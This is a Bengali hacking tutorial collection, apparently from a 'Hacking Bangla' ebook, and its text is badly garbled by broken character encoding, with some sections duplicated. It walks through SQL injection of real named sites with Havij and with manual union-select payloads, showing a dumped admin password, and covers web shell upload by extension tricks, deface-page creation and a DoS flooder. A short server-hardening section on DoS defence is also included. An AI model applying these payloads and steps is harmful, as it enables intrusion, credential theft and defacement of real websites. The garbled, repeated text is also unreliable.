পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 47: Hacking Bangla eBook

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

